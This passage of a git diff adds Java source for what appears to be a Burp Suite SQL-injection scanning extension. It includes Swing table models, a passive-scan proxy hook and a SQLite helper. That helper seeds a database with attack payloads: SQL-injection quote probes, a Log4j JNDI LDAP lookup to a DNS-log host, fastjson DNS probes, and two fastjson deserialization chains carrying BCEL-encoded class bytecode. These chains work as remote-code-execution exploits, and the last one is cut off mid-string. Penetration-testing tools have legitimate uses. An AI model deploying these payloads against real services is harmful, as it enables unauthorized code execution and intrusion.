+ @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + setupUI(); + setupData(); + + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "sql"; + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { + + if (isPassiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { + synchronized (log) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Check(new IHttpRequestResponse[]{iHttpRequestResponse}); + } + }); + thread.start(); + } + } + } + + // url 模型 + static class UrlModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex) { + case 0: + return log.get(rowIndex).id; + case 1: + return log.get(rowIndex).method; + case 2: + return log.get(rowIndex).url; + case 3: + return log.get(rowIndex).length; + case 4: + return log.get(rowIndex).status; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "length"; + case 4: + return "status"; + default: + return null; + } + } + } + + // Payload 模型 + static class PayloadModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return data.size(); + } + + @Override + public int getColumnCount() { + return 8; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex) { + case 0: + return data.get(rowIndex).id; + case 1: + return data.get(rowIndex).key; + case 2: + return data.get(rowIndex).value; + case 3: + return data.get(rowIndex).length; + case 4: + return data.get(rowIndex).change; + case 5: + return data.get(rowIndex).errkey; + case 6: + return data.get(rowIndex).time; + case 7: + return data.get(rowIndex).status; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "参数"; + case 2: + return "参数值"; + case 3: + return "响应长度"; + case 4: + return "变化"; + case 5: + return "报错"; + case 6: + return "时间"; + case 7: + return "返回码"; + default: + return null; + } + } + } + + // 检测url类 + public static class UrlEntry { + final int id; + final String method; + final String url; + final int length; + final String status; + final IHttpRequestResponse requestResponse; + + UrlEntry(int id, String method, String url, int length, String status, IHttpRequestResponse requestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.length = length; + this.status = status; + this.requestResponse = requestResponse; + } + } + + // Payload 类 + public static class PayloadEntry { + final int id; + final int selectId; + final String key; + final String value; + final int length; + final String change; + final String errkey; + final String time; + final String status; + final IHttpRequestResponse requestResponse; + + PayloadEntry(int id, int selectId, String key, String value, int length, String change, String errkey, String time, String status, IHttpRequestResponse requestResponse) { + this.id = id; + this.selectId = selectId; + this.key = key; + this.value = value; + this.length = length; + this.change = change; + this.errkey = errkey; + this.time = time; + this.status = status; + this.requestResponse = requestResponse; + } + } + + private class URLTable extends JTable { + public URLTable(AbstractTableModel model) { + super(model); + } + + @Override + public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { + UrlEntry logEntry = log.get(rowIndex); + int select_id = logEntry.id; + data.clear(); + for (PayloadEntry payloadEntry : data2) { + if (payloadEntry.selectId == select_id) { + data.add(payloadEntry); + } + } + sqlPayloadtable2.updateUI(); + + + model.fireTableRowsInserted(data.size(), data.size()); + model.fireTableDataChanged(); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(rowIndex, columnIndex, toggle, extend); + } + } + + private class PayloadTable extends JTable { + public PayloadTable(AbstractTableModel model) { + super(model); + } + + @Override + public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { + + PayloadEntry dataEntry = data.get(rowIndex); + HRequestTextEditor.setMessage(dataEntry.requestResponse.getRequest(), true); + if (dataEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(dataEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = dataEntry.requestResponse; + super.changeSelection(rowIndex, columnIndex, toggle, extend); + } + } + + +} diff --git a/src/main/java/burp/ui/UIHandler.java b/src/main/java/burp/ui/UIHandler.java new file mode 100644 index 0000000..72e562d --- /dev/null +++ b/src/main/java/burp/ui/UIHandler.java @@ -0,0 +1,13 @@ +package burp.ui; + +import burp.IBurpExtenderCallbacks; + +import javax.swing.*; + +public interface UIHandler { + void init(); + + JPanel getPanel(IBurpExtenderCallbacks callbacks); + + String getTabName(); +} diff --git a/src/main/java/burp/utils/DbUtils.java b/src/main/java/burp/utils/DbUtils.java new file mode 100644 index 0000000..35ea064 --- /dev/null +++ b/src/main/java/burp/utils/DbUtils.java @@ -0,0 +1,159 @@ +package burp.utils; + +import java.io.File; +import java.sql.*; +import java.util.ArrayList; +import java.util.List; + +public class DbUtils { + public static String DB_NAME = "gather_dev.db"; + public static String DB_PATH = System.getProperty("user.home") + "/.gather/" + DB_NAME; + public static String DB_URL = "jdbc:sqlite:" + DB_PATH; + public static String DB_DRIVER = "org.sqlite.JDBC"; + + static { + + try { + Class.forName(DB_DRIVER); + } catch (ClassNotFoundException e) { + Utils.stderr.println(e.getMessage()); + } + File file = new File(DB_PATH); + if (!file.exists()) { + create(); + } + } + + public static Connection getConnection() throws SQLException { + return DriverManager.getConnection(DB_URL); + } + + // 如果数据库不存在,创建数据库 + public static void create() { + // 判断数据库是否存在 + try { + + Connection connection = DriverManager.getConnection(DB_URL); + Utils.stdout.println("init db success"); + List sqls = new ArrayList<>(); + sqls.add("CREATE TABLE IF NOT EXISTS \"config\" (\n" + + " \"id\" INTEGER,\n" + + " \"module\" TEXT,\n" + + " \"type\" TEXT,\n" + + " \"value\" TEXT,\n" + + " PRIMARY KEY (\"id\"),\n" + + " UNIQUE (\"type\" ASC)\n" + + ");\n"); + sqls.add("CREATE TABLE IF NOT EXISTS \"sqli\" (\n" + + " \"id\" INTEGER,\n" + + " \"sql\" TEXT,\n" + + " PRIMARY KEY (\"id\")\n" + + ");"); + sqls.add("CREATE TABLE IF NOT EXISTS \"perm\" (\n" + + " \"id\" INTEGER,\n" + + " \"domain\" TEXT,\n" + + " \"low\" TEXT,\n" + + " \"no\" TEXT,\n" + + " PRIMARY KEY (\"id\")\n" + + ");"); + sqls.add("CREATE TABLE IF NOT EXISTS \"log4j\" (\n" + + " \"id\" INTEGER,\n" + + " \"type\" TEXT,\n" + + " \"value\" TEXT,\n" + + " PRIMARY KEY (\"id\")\n" + + ");"); + sqls.add("CREATE TABLE IF NOT EXISTS \"fastjson\" (\n" + + " \"id\" INTEGER,\n" + + " \"type\" TEXT,\n" + + " \"url\" TEXT,\n" + + " PRIMARY KEY (\"id\")\n" + + ");"); + sqls.add("INSERT INTO \"sqli\" VALUES (1, \"'\");"); + sqls.add("INSERT INTO \"sqli\" VALUES (2, \"''\");"); + sqls.add("INSERT INTO \"sqli\" VALUES (3, \"'''\");"); + sqls.add("INSERT INTO \"log4j\" VALUES (31, 'header', 'Cookies');"); + sqls.add("INSERT INTO \"log4j\" VALUES (32, 'header', 'X-Remote-Addr');"); + sqls.add("INSERT INTO \"log4j\" VALUES (33, 'payload', '${jndi:ldap://dnslog-url/}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (1, 'dns', '{\"@type\":\"java.net.Inet4Address\", \"val\":\"1.FUZZ\"}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (2, 'dns', '{\"xxxx\":{\"@type\":\"java.net.Inet4Address\", \"val\":\"2.FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (3, 'dns', '{\"@type\":\"java.net.Inet6Address\", \"val\":\"3.FUZZ\"}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (4, 'dns', '{\"xxxx\":{\"@type\":\"java.net.Inet6Address\", \"val\":\"4.FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (5, 'dns', '{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"5.FUZZ\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (6, 'dns', '{\"xxxx\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"6.FUZZ\"}}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (7, 'echo', '{\"xx\":{{\"@\\x74ype\":\"com.alibaba.fastjson.JSONObject\",\"name\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\"},\"c\":{\"@\\x74ype\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"key\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassLoader\":{\"@\\x74ype\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5W$Jx$5cU$V$fe$efd2$efe$f2$b2M$9b4C$e9$be$a5$d9$86$96$a6$cb$a4$zm$d2$94$86$siiJKZT$5e$s$af$c9$b4$93y$e9$cc$9b$a6$c5$N$F7DQT$a0$80$a8h$8d$a0$o$ad8i$J$b4E$a5$mu$D$c5$NW$QTD$U7$E$a5$f1$bf$ef$cd$q$99d$da$fa$7df$b9$db9$f7l$f7$9c$ff$de$f7$c4$99$H$8f$DX$o$d6z$e1$c5$n$V$9f$f7$c2$83$B$d9$7cA$c5$3d$K$eeU$d0$97$87$7c$7cQ$$$7dI$c1$97$V$dc$e7$e5$fc$x$5e$dc$8f$c3r$d3$R$V_$95$c4$H$U$7cMER$c5$a0$82$a3r$e1$98$82$He$3f$e4E$Z$k$f2$e2a$i$97$cd$J$F$t$bd$98$8aC$K$k$f1b$g$Oy$f1u$7cC6$dfT$f1$a8$XW$e1$94$82$db$e4$fc1$V$8f$7bQ$87o$a9xB$c5i$F$dfV$f1$j$V$dfU$f1$3d$F$dfW$f1$a4$82$a7$f2$R$c0$Pd$f3C$VO$ab$f8$91$8a$l$x$f8$89$8a$9f$ca$8d$3fS$f1$8c$X$3f$c7$_$e4$e4$97$w$7e$a5$e2$d7$w$7e$a3$e2Y$V$cfy$f1$5b$3c$_$9b$X$bc$f8$j$7e$af$e0$P$K$5eT$f1G$_$d6$e1$r$_$g$f1$t$F$_$7b$b1A$g$d8$88$3f$cb$d1_T$bc$a2$e2$af$w$fe$s$F$3e$q$97$fe$ae$e0$l$K$fe$e9$c5$W$bc$w$9b$7fyq9$5eS$f1$ba$ec$ff$z$9b$ffH$de7$a4_gT$M$x$C$C$9e$95$e1h$d8Z$z$90S$b1p$9b$80$bb$d1$ec2$E$8aZ$c2Q$a3$z$d1$dbi$c4$b6$ea$9d$R$ae$f8Z$cc$90$k$d9$a6$c7$c2r$9eZt$5b$3d$e1$b8$c0$b4$96$90$d9$h$d8$a5$c7$ad$ddq3$g$d8$97$88$E$b6$9a$bd$n$ddj$K$f5$98$f5$Cy$fd$b1$b0e4$98$5d$H$E$a6T$b4$ec$d6$f7$e9$81$88$k$ed$Ol$ea$dcm$84$ac$fa$9d$N$b6$ea$7dzl$b1T4$81$ee$d0$$$W$u$ZCk$8c$e8$f1x$8aT$t0$7b$3c$a9$cd$b4$d6$9b$89hW$d3$fe$90$d1g$85$cdh$8aw$a9$c0$ac1$bcmf$7b$o$d4$d3jX$3d$e6$E$d6$8b$9cn$91$80kg$83$40A$bb$a5$87$f6$b4$ea$7d$b6$f7L1$s$97$9d$85$f7$KxG$f62$k$c5$8e$b8$cdzL$ef5$y$p$c6$a5$dcn$c3ZO$t$97gq$7f$ccJ$bb$V$LG$bb$eb$Xf$8b$c1$cc$JV$af$P$h$91$M$a3$7d$TE$J$f8$c7$y$c6$8c$5d$RJ$L$d8$3b$eb$V$nX$X$C$ea$caP$q$95$F$b9$d2_$3a$5c$3af$d3X$N9$a1$de$ae$U$X$cfj$d2$cel$K$5d$e1$e8$88$80$b0$Zh$8e$f6$r$y$S$N$bdW$S$3bc$C$e5$p$c4$86$c4$ae$5dF$cc$e8$dab$e8$5dFL$c6$9d$960$b3$5c$f1$ceL$cb$j$e9$N$89p$q$c5G$T$96$3b$dd$K$a7$5b$c6tnf$f0$9dM$J$x$i$J$b4$84$e3$e9$ecY$92$Z$9d$ad$3d$b4$a7$8b4$c5$88$86$98$f2$b6Q$f1D4$d0$h$8e$87$C$Nk$db$9b$96$$ir$u$92$a9$cb8$h$d3$3a$p$cd$qv$8c$LHJ$H1$86$f0$a2$I$X$c1$80XA$a0Pp$bd$or$ec$w$7f$99$a9$d3n$sb$nc$7dXVT$d1h$e1$d4JI$g$de$847$L$cc5c$dd$b5z$9f$k$ea1j$z$9b$a3V$3aX$db$99$d8U$dbp$c02$g$7b$S$d1$3d$9ap$8b$5cMx$E$L$5b$8d$h$96$q0$f5$8a$c6$V$86$sT$845$91$t$bc$M$d6$f8$3cc$8d$8d$$5G$z$a3$db$88$d1$G$91$af$IM$T$F$a2P$TE$a2XF$c4$dc$$$8bZ$T$rR$ce$cc$f3$V$lC$pYj$a3a$d36$d89w$kM$7fL$ef$T$98q$9e$82$d4$84OL$S$98$7e$ee$K$d0$c4dQ$y$ad$zefk$a2LL$d1D$b9$f0$L$94e$3f$d9$89$84$d4i$f2$b04q$81$98$aa$89$L$c54$3ak$d9$t$Z$d7$b0$l$H41$5d$cc$a0$e1$c6$7e$p$a4$89$99b$W$c7$3d$96E$t$3c$96$kc$993$d1F$cd$dc$92$88F$j$ac$f4H$ac$9cKHQz$f4hWDj$f7tG$ccN$3d$92$8a$cd$b8bcb$f4$c5$cc$90$R$8f$9b$S$40$K3$b3Z$T$b3$c5$i$e9$dd$5c$d6d$cc$d8$x$90O$d5$5b$8cx$l$R$88$da$f28$db$60$d7T$c6$n$3bU$q$a0$ad$NI55$8d2$a341O$cc$a7$5df$bc6J$c0R$c4$CMT$88$85$9a$a8$94$8ez$fa$c3$d1$$$b3$9ft$96$7e$z$bdfq$GB$9c$G$3a$c3$d1$40$bc$87$d3$9a$90$o$aa4Q$zj4$3c$$j$V$R$d0$c4E$82$uR$96$bd$ccY$d9Y$c0$nM$cb$b9$b4a$a3$3c$c4$c5$b2$n$e8O9$L$Ihb$89$98$a1$89$3aAD$979$98$a7wu$a5$5d$d6$gM$e6n$d4$aa$d1$TV$8f$s$96IGJF$p$d8$k$d2$a3Q$bb$9cGeov$82$9d$WN$dd$cb5$b1B$E$e5H$e2$d6Uk5$b1R$ac$d2$c4j$a9$f5$S$b1FC$Xd$a4Yi$bc$Y$ac$E$Pi$ea9$ee$c1$MG2p8$e3$84$i$d0H$a7Df$84$Y$f4$5df$ac$8dg$q0$af$e2$dc$d7F$faz$cc$8f$g$fd$cd$d1$b8$a5GC$dc5$b9$o$eb$d5$e2$de$da$b1$b9$89$Rb$d2$b0$C$o$3aO$ca$v$40$815Y$f4$ec$9c$a0ga$96$3b$c6$91$m$a5W4$cb$fb$bd$fcl$y$cc$b1pt$9f$b9$87$f6$ad$c8$f6$3a$98$b8$94$d5$J$95$d6$db$d60x$V$d9B$nk$o$ad$b1x$8c$ab$a9C$a89OD3$efN$3e$H$u$a2$3d$d1g$c4B$8e$d2$d2l$fb$e9w$B$TD$96$5b$3c$kv$kM$V$3b$e4r$8e$N$V$f3$b38$9c$d5$bb$82P$o$WcF$a7$f3$p$f3$qG$ae$b3BJu$s$97$c6$cc$EA$c9$9f$85$cf$s$c9k$8d$ccN6eJ$h$b9$c9$d5$Q$cbH$P$cb7$cd$d4$b1$866$f6$e8$b1vco$82w$a7Q$bf$90$f7$9e$3b$k$be$c6$b0$df$90$cd2$Q$cdY$5dP$c2$f1$a6$de$3e$eb$80$cd$b7$p$T$97$O$c4$z$a3$d7$B1$W$o$83$w$d9$e6$9f$e7DF$ec$cc$b7$cc$W$b3$df$885$ea$S$fb$c6$dc$60$84_$x$y$j$f4JtLOJ3$bcM$zSLEE$96$f7$ccX$d6$UF$d4g$e8H$z$3a$b1$cf$a8$d6$vi$3d$T$5eA$95$VY$J$d9$Th$d2$us$ea$99$qWUy$92$z$f6c$c9$a3$f7$f5$Z$d1$ff$n$85$c7$3f$a2T$cbL$df$IeY$7d$a7$9e$5cbG$cc$g$l$b4$d1H$94gwEn$d5$Sqc$9d$R$J$f7$f2$a1$40$b0$5dpv$eb$c6$a2$b2D$8c$a8$b1$dfr$w$3a$f5$88qW$y$dc$d9$80Y$fcr$f1B$fe$b8$f9$e9$c2$97$R$db$b7pv1$e4$a7$M$90$5b9$Iq$98$D$X$aef$ebe$P$U$90$b9$Q$3aG$9a$c3$84N$84l$w$f1$h9R$80x$8e$9f$91$b9$5c$7b$dd$e7$3a$8a$9c$b6$9a$q$dc$ad5$be$5c$cf$c3$f0t$e4$f8$94$f6$O$f7$R$a8$ed$j$b9$b2M$o$af$3a$f7ax$3br$aa$b8$ee$8c$86$90$df$913$I$8d$LrXu$5c$8e$c9Y$b0$bd2$89B_$91$db$WT$c3$95$e2J$b7$bd$a3$da$a6$O$e0$86$a0$db$e7$b3u$fa$s$b9$d3$ea$a8$a2$c6$9dRA$b6$d6$f3$Ji$fa$ff$85$i$b6ce$o$86$S$bb$l$c4d$c6FFq5$8a$d8N$e6$d7s$v$a3T$c6$cf$c8$v$a4$cf$qg9$y$f8q$N$$$c0$z$fc$88$7e$80k$83$b8$Q$c7$f8$n$7d$C$d3$f1$Mf$e05$cc$b6$p$bf$L$f2C$bd$9b$7d7$f5x$QA$P$c2$94oa$Nvc$PO$e8$W$k$aeC$bd$G$abR$d4c$a4F$d0K$wO$GQRa$8fL$f4$f1$q$a5$7cg$c7$J$d4$a7v$ec$r$7d$Kr$5eELA$ecU$acS$Q$7f$Dk$VX$K$S$d8$97$ca$9b$g$f4s$94$e7$a2D$e9$a9$cc$E$be$eb$9cL$c0$d3$ece$s$y$Xv$c0$YQ$ef$n$94$d5T$rQ$da$3a$80$82$a0$9b$b91$a5m$60$f8$c5$ea$c7$a0$N$a1$ac$a3j$Q$e5$t$aa$ddI$f8$ab$b9$e1$82$fb$a9$a0$A$93$Y$a7$b2T$fc$W3$ef$80y$b4s$3e$UT$90ZIz$V$e9$d5$8c$60$N$a3U$cb$c8$z$c2$5cr$d6$60$J$db$3a$3bfKhG9$ffw3$o2$C$cbG$o$b0$9cV$bf$95z$5cX$ca$I$bc$8d$bd$c2$fd$a3$R$u$81$fb$N$u$K$deN$af$db$U$bc$pO$3b$bb$ef$w$de$99$$$p$f7$j$9c$f9X$3c$X$Naj$H$8fr$e3$Q$a6$b1$9f$de$92$b3$ea$uf$q1$d37$eb$uf$9f$c4$i$e7$af$zg$a9$bb$d4$5ds$fcn$f1FM$a9$7bq0$d7$9f$7bJ$bc$e4$cfMbn$d0$e3$f7$f8$e6$r1$ffv$f1$MG$L8$3a$u$9e$f4$e7$fa$w$u$m$a8$f8$95G$b0$f0$a08$e9W$7c$95$5c$f0U$c9$a6$da$s$N$40$N$aa$D$e2$QI$b5$b6$b2$40P$cdY$9aW$9a$e7W$8f$81$af$e7$bb$c5u$7e$b54$ef$Y$W$b9$Q$f4$fa$bd$be$c5$v$892$bb$_$ceav3$b3$fd$K$H$5e$a6u0$df$n$yIUE$5d$bbMu$S$df$b7Tf$feI$d4IkO$89$e9$7en$5dv$bb$us$af$f2$7b$82$9ao$f9Q$acH$o$e8$ab$97$c6$c3O$y$a8$e3$9e$95$yq$df$wB$81_k$l$40Yju$b5$5c$bd$c4Y$N$W$i$c5$g$7fA$Sk$93h$I$W$O$a1$b1c$I$eb$3a$fc$85$be$a6A$ac$l$c4$a5$c1$o$R$y$k$c2$G$86$b69X$e2$_J$e2$b2$8e$60$f1$v$94$f9K$fc$c5Il$dc$ee$_$f1$b5$c8$7e$60$f8y$7f$be4$bf57m$3e$d58$3e$e4$a7$81$a7$ae$c3$d76$88M$a4$f8K$92$d8l$X$b3_$Z$c2$e5$d4$ba$a5$c3_0$I$$m$a5$v$83$b8$c2$b7$z$89$edI$5c$99D$c7Q$ecpB$b3$d3$J$8d$83l$p$b1$91$uV$82$c7$r$8cI$81$X$k$84g$Ay$d7$e7$89$813$fd$e9$89$9b$T$d7$A$dc$h$rv$f40$p$df$c1$f4$82$ab$caU$cb$de$c9$fd$p$ccq$b0$3aU$acD1$eb$daG4Y$c0$aa$5e$84$b5X$86$G$ae6$f2w$j$b6$a3$89$fc$eb$ve$D$e5l$a4$a4f$5c$8b$cbp$jZq$T6$e1$$l$c6$3dD$9e$p$d8$82$d3h$c7$x$d8$8a3$b8$82p$beM$b8$b1$5d$5c$82$xE$L$3a$c4$d5$d8$nB$d8$v$o$b8J$f4$f3$e1$ce$dc$W7$40$X$t$R$S$_$a0$cbU$82$3d$aeRD$5c$e5$d8$e4$9a$8e$3e$d7l$ecu$cd$c3$gW$V$f6$d3$ea$7eW$80$b5$sk$ef$q$x$f4Z$fap$z$de$F$95$9f$d5$Fx7$ed$e2$b3$lO$d1$a6$ebQ$40m$8f$e2$3dx$_$K$a9$f30$de$87$f7$a3$88$9a$ef$c3$H$c8WL$fd$87p$D$3e$c8J$bcG$98$b8$91u$eb$c5i$d1$8a$Pq$94$8f$9b$c5$8d$f80$fd$ca$c3M$e2$W$o$dcG$Y$9f$ab$c5$a3$ac$f4nVr$a3x$W$l$a5$U$P$96$89$97$Z$91$9b$89$B$95$$$c1J$bf$89$r$ac$ba$e6$e0c$f88m$yvM$c5$t$88$9b$fc$det$f9Y$cf$b7$f2$U$W$b8$dc$ac$ea$dbR8p$gE$c3$E$9b$5c$F$H$V$dc$$$U$cca$c0$86$Z$3eu$cc$8a$82$3b$U$dcI$88$E$87$9f$qp$U$w$b8K$9c$c1$ad6j$f2$ef$ce$z$K$3e5L$90$f2e$db$r$99G8$c9$a8$e0$d3$K$3ec$8f$ef$G$a6$N3D$da$b9$f7$81$b7$84$e7u$e4$O$d3$e3$f1$a6J$qF$D$ed$e2$j$8d$cf$da$X$fb$e7$fe$L$e1K$Q$9a$u$W$A$A\"}}:\"xxx\"}}');"); + sqls.add("INSERT INTO \"fastjson\" VALUES (8, 'echo', '{\"xx\":{{\"@\\x74ype\":\"com.alibaba.fastjson.JSONObject\",\"name\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSources\"},\"c\":{\"@\\x74ype\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"key\":{\"@\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassLoader\":{\"@\\x74ype\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$5bx$U$d5$j$ff$9d$ece$ceN$s$d9$cd$G$84$nb$X$E$dc$40$b2$x$a8E6$U$81$I$EY$a2$cd$oi$a0$z$9d$9dL$b2$D$bb3$eb$ccl$I$b4U$dbz$a9m$d5$5e$b5$da$8b$d5$5e$a8$8aU$7b$d9$a0$U$ab$3e$f4$a1o$7e_$_O$7d$ec$a3O$fa$e4$d7$af$f8$3f$3b$b3$q$9b$5d$L$f96g$fe$f3$bf$9d$df$ffv$ce$fc$ed$7fo$be$F$e0V$bc$x$p$G$5d$c64$M$b1$ccp$cc$ca$u$c1$e48$v$e1$94$M$Je$J$V$Z$Wl$8e$w$c7$7d$i$O$87$cb$b1O$82$t$c45$8e9$8e$fd$i$a79$O$I$bdy$8e3$ige$7c$Z_$91$91$c0W9$ee$X$cf$H8$c68$k$e4$f8$g$c7$d7e$7c$D$P$89$e5a$Z$8f$e0Q$J$df$94$f0$Y$c7$b7dl$c4$b7el$c0w$q$3c$$cP$40$db$80$t$E$f5$q$c7w9$be$t$c8$ef$L$d0$3f$e0$f8$n$c7$8f8$9e$e2xZ$c2$8f$r$3c$c3$Q$ddiZ$a6$b7$8b$n$94$k$3c$ca$Q$k$b5$a7$N$86x$de$b4$8c$f1Z$a5h8G$b4b$998$c9$bc$adk$e5$a3$9ac$8a$f7$80$c9t$86$be$fcImN$cb$965k6$3bZ$d6$5cw$84$f8$V$865K$f8$8e1S6t$_$7b$d8$f0J$f6$b4P$b0$85$c7E$85$bb$8b$tIN$82$ae$caV$C$e1$Yn$95$Q9$c6$7d$M$b1Y$c3$h3$b4i$c3$n$da$5dB$T$7f$d21$3dA$87$f4$cat$ab$c3$82$e7$98$d6$y9$e4$ba$5d$a9h$d6$b4$cb$d0$7f$bc$93B$97i1$ac$f4$r$a6$9d$3dhUk$k$J$N$ad$o$84E$f2$be$fa$8apomf$c6p$8c$e9$89$G$G$92$87$cb$94$tRs$8b$Mj$9b$f7$bd5$b3$ec$ebEO$HH$c3$5e$c9$q$u$eb$f3$E$x$3b$a3$b9$deI$d7$b6$b2s$b5r$b6P$V$s$fb$f4$92$7d$c23$5c$91$8b$9e$82$a7$e9$a7$Ok$d5F$b6$a9Z$d4_$S$9e$a5$ee$a2N$92pH$c2O$gm$f08$d5$92A$$$d85G7$f6$9b$a20$x$96y$cb$Ih$K$b6$e3v$J$3fU$f03$fc$5c$c1s$f8$F$c3N$db$99$cd$b8$N$e5$ZG$ab$Y$a7m$e7T$e6$b4Q$cc$e8$b6$e5$Z$f3$5e$86jP$T$O$s$fc$e7$a8$cf$k$b3E$60$S$9eW$f0$C$7eI$fbQ1$C$8d$3d$k$c5$5e$ac$d1$ae$d4F$cbZC$c1$af$f0k$86$c4$f2$c2ST$K$7e$83s$M$bb$af$VO$c1p$e6$ca$j7$edn$60q$ab$b6$e5R$s$e4Ed$M$h$c5$c6$f3$Z$d7$b7$cd$94$3c$af$9a$Z$a3$a5$d5Y$L$40$bf$92$K$7e$x$80o$ba$9a$7ds$d7$b5$ad$8a$cb$e4$K$5e$c4K$M$ca$k$5d7$aa$de$f0$a8$a6$97$c8F$b2$dd$8cE$nKxY$c1y$bc$a2$e0wx$95z$7b$f2$e0$b8$82$d7$f0$3a$b5Y$96$e6M$ca$WM$x$eb$96$e8uX$97$f0$7b$F$7f$c0$l$V$fc$Ju$J$L$K$$$e0$N$86$eb$3a7$y$f5h$876o$caB$H$f6$k$S$z$f2$a6X$$2$ac$fa$84vV$f0g$bc$aa$e0$S$de$a29$96$v$8cFOX$de$b0V$f3J$K$fe$o$84o$e3$jB$w$ca$e8$95i$bcr$86$e3$d8$ce$d0$R$ea$fd$94V$ad$96M$5d$f3L$dbJ$9547e$d9$vc$5e$b0L$_U$n$nm$94$9a$b1$9dT$b6a$93a$88$cc$94k$o$dc$88$5e$b6En$fb$Xq$ed$9b$X$J$qO$M$a9$ab$N$U$cd$f1$t$jHM$9f$adyii$83$p$rb$91b$8f$5es$i$K$b6$f9$be$o$3d$98_$aeE$a3$bb$92$ba$$$Y$95F$e3$e7$ed$m$ff$z$eaKD$c2$a6$a3$80$O$ba2$R$N$O5p$ba$fd$Ik$f38$e2$l$8e$cd$d8vw$b09$def3$f8$ff$8e$eb$a8i$cd$d9$a7$u$f7$3b$d2$ed$87$f6$f1v$d6$60$a7$a3$bd$8f0$ddi$e8e$8d$fa$b1$89$ad$87$Ot1$F$aek6$$$94p$fa$98$b8$85$96$ce$df$Z$d73$w$feT$df$e3$d8U$c3$f1$ce$d0$m$5e$r$PWN$f7n$cf$be$b7JF$a3$9ah$9d$d6j$z$bd$p$yO3$zJ$f0$c0R$c7$a3$r$cd$v$883$c1$d2$8d$91$c1c$U$c2$a2l$a2fyf$a5y$c04_V$b6l$Q$b0$c5$3da$cc$h4$bb$e9t$87$xh$a9$FE$u$921$d2$b2U$c0d$e8$a5$adZ$gtUs$bb$b6$8bks$ba$a3$a0$c3$ee$94$ee$feE$e5$e0f$T$5c$$z9$df$b8$df$a24$97$86E$f5$g$be$a6$bc$_$de$7b$dc$b3$7d$W$91b$q$fc$$$eeo$9f$82$R$ac$c3$a7$e9$hE$fc$d1$b1$on$wZw$A$a1$3a$a2$e8$p$e6$3f7$_$80$5d$40W$j$a1d$b8$8eH$7eK2$g$ba$E$a9$O$7ex$88$R$V$abC$k$P$U$ba$7d$F$a5$a9$b0$r$d9$T$90$b9$f0$d0p$a0$9c$8b$a8$e1$xt4$b0$ec$r$cbd$3cL$caS$a1d$a2PG_N$KDI$n$ea$8f4ES$e1$40$ce$D$f9$K$n_$e9$ef$d3$97$8b$a91$82y$9d$ca$h$ab$e4$afj$94$3c$c7$c8$7c$VY$cao$p$91$93$a3$97h$edN$ae$be$A$b5$8e5$c9$81$3a$ae$7f$GI$b5$3b$94$5c$5bP$bb$c3$c9$h$K$e7$Q$X$af$9fj$bc$a6h$8d$a8r$e1$C$d6$a9$U$e5$fa$3an$cc$v$X$b1a$ea$o6N$a9Jr$d3$CnZ$40$3a$d7$c3r$bd$X18$b5$80$cd$b9$b8$daS$c7$96$a9$5c$ef_$JC$5c$a5$Q$87$s$d5xrX$3c$cf$5d$fe$8f$ca$d5H$c4$87$95$a1$a8$d4x$jY$BoR$8d$a9$91f$7e$Sj$a2$8e$9b$93$5b$97fFM$E$d1l$f3$d5$h$g$b7$E$JP$T$81i$c0$bf$b5$8d$7f$O$e1$fc$ebT$e50$7b$8f$fd$j$b7$n$84$iU$ffYl$a25$860z$e8$h$b8$X$D$88$d3$tn$S$5b$d1$8f$9dX$811$acB$B$abq$C$w$ceb$N$e9$P$d0$edx$3d$eaXK$X$d3$Nx$X$v$fc$L$eb$f1o$dc$88$f7$e9S$f8$D$b2$fe$_nb$5dH3$8e$cd$ac$XCl$A$c3$y$8b$M$db$86$y$h$c1$cdl$3f$b6$b2qlcS$b8$8